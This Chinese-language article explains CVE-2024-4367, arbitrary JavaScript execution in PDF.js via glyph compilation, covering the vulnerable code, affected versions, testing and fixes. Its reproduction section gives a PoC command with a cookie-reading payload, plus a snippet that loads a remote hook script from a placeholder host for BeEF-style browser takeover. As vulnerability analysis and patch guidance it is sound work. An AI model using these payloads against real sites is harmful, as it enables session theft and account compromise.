CVE-2024-4367:PDF.js 里的代码执行
不涉及 PDF 的 JavaScript 功能,问题出在字体渲染时把字形指令编译成了函数。
为什么值得单独写一篇
这是少数几个「影响面极广、利用门槛极低、但很多人没意识到」的漏洞。
PDF.js 是 Firefox 内置的 PDF 阅读器,也被大量网站当作「在线预览 PDF」的组件用。凡是页面上有「预览附件」「查看合同」的地方,背后可能就是它。
影响版本:PDF.js < 4.2.67、pdfjs-dist < 4.2.67、react-pdf < 7.7.3 和 8.0.0–8.0.1。Firefox < 126 同样受影响。
原理
不是 PDF 里的 JavaScript 功能——那个默认是关的。
问题在字体渲染。PDF 可以内嵌各种格式的字体,对于 TrueType 这类现代格式,PDF.js 大多交给浏览器渲染;其他格式,它得自己把字形描述转换成页面上的曲线。
为了性能,每个字形会预先编译成一个路径生成函数:
if (this.isEvalSupported && FeatureTest.isEvalSupported) {
const jsBuf = [];
for (const current of cmds) {
const args = current.args !== undefined ? current.args.join(",") : "";
jsBuf.push("c.", current.cmd, "(", args, ");\n");
}
return (this.compiledGlyphs[character] = new Function("c", "size", jsBuf.join("")));
}
new Function 的第二个参数是函数体,函数体由 PDF 里的字形指令拼接而成。指令内容可控,函数体就可控。
构造一个字形指令里带 ); 和任意 JS 的 PDF,打开时就会执行。
复现
社区有现成的 POC 生成脚本,核心是构造一个带恶意字形的 PDF:
python3 poc.py malicious.pdf "alert(document.cookie)"
生成之后,用存在漏洞的 PDF.js 打开:
http://靶机/web/viewer.html
弹框就说明成了。
要验证「能执行任意代码」而不只是弹框,可以让它加载外部脚本:
const script = document.createElement('script');
script.src = 'http://your-host/hook.js';
document.head.appendChild(script);
配合 BeEF 之类的框架,能直接拿到浏览器控制权。
为什么这个比普通 PDF XSS 严重
普通的「PDF 里藏 JS」依赖阅读器主动执行 PDF 内嵌脚本,多数阅读器默认关闭,且执行环境是受限的。
这个漏洞执行在 PDF.js 的宿主页面上下文里——同源。也就是说,它能读到当前站点的 cookie、localStorage、发起带凭证的请求、读页面 DOM。
一个「预览附件」的功能,变成了存储型 XSS 的入口:攻击者上传一个恶意 PDF,管理员点开预览,会话就到手了。
测试方法
- 找 PDF 预览功能。上传附件的地方、合同/发票查看、在线简历。
- 看 PDF.js 版本。
viewer.html页面里通常有pdfjsVersion,或者看加载的pdf.mjs文件路径。 - 版本低于 4.2.67,用 POC 生成一个 PDF 上传,打开看是否执行。
自建部署的好判断,用 CDN 引入的要确认 CDN 上的版本。
修复
升级到 4.2.67 及以上。react-pdf 升到 7.7.3 或 8.0.2。
如果暂时不能升级,可以在 PDF.js 初始化时关闭 eval:
pdfjsLib.GlobalWorkerOptions.isEvalSupported = false;
这会牺牲一点渲染性能,但能挡住这个漏洞。生产环境升级才是正解。
一点延伸
这个漏洞的形态值得记住:把不可信数据拼进代码字符串,再交给 new Function 或 eval。
前端世界里这种写法不少——模板引擎、表达式求值、动态样式生成。看到 new Function 就该停一下,问一句「这个参数从哪来」。
参考
- 《【分析和实战】CVE-2024-4367 – PDF.js 中的任意 JavaScript 执行》,公众号 知攻善防实验室
- Codean Labs 原始分析:codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js